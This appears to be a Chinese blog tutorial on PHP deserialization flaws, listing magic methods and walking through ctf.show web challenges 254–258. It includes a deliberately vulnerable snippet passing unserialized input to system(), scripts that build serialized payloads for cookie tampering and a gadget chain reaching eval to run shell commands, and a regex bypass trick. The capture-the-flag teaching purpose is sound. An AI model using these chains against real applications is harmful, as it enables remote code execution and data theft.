反序列化1:魔术方法+简单入门

outman
8
2025-05-03

定义

序列化:将对象转换为数组或者字符串等格式,这让数据能在不同的系统、程序或网络之间持久化或传输,并在需要时重新还原(反序列化)

反序列化:将数组或字符串等格式转换为对象

魔术方法

学习反序列化最重要的就是了解魔术方法

__construct(): //当对象new的时候会自动调用

__destruct()//当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

call(): //调用某个方法;若不存在,则会去调用call函数。

__callStatic(): //在静态上下文中调用不可访问的方法时触发

get(): //读取对象属性时,若不存在,则会调用get函数

set(): //设置对象的属性时,若不存在,则调用set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

__set_state(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

出现漏洞的原因

  1. 一个类会被反序列化,并且可控

  2. 这个类存在危险行为,例如存在一些方法,可以对其进行攻击

<?php
class B{
    public $cmd='';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

搞洞

//靶场:https://ctf.show/challenges ctfshow-web入门:254-258

Web-255

  1. 想要获取flag需要执行vipOneKeyGetFlag(),并且isVip=true

  2. 发现反序列化$user = unserialize($_COOKIE['user'],抓包,构造Cookie:user=

  3. 将下面代码执行结果放到cookie中,同时在url中传入username和password两个参数,拿下

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}
$a = new  ctfShowUser();
echo urlencode(serialize($a));
?>

Web-256

  1. 额外增加条件,username != password,序列化时候改一下值

  2. 序列化程序,需要通过login()方法登陆成功,所以 get 传的值和序列化的值是一样的,即 ?username=cc&password=123

<?php
class ctfShowUser{
    public $username='cc';
    public $password='123';
    public $isVip=true;
}
$a = new  ctfShowUser();
echo urlencode(serialize($a));
?>

Web-257

//魔术方法来了

  1. 发现危险方法在backDoor()类中,所以需要调用它

  2. 发现调用方法在_destruct(),同时需要控制_construct()让class变量变成backDoor

  3. eval() 就是将括号中的代码放到 PHP 执行,先ls发现了flag.php,再将$code改成tac flag.php

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code='system("ls");';
    public function getInfo(){
        eval($this->code);
    }
}
$a = new  ctfShowUser();
echo urlencode(serialize($a));
?>

Web-258

  1. 和257相同,只是多了一个正则匹配

  2. '/[oc]:\d+:/i',这个匹配的是O:11,为了绕过我们把O:变成O:+就可以了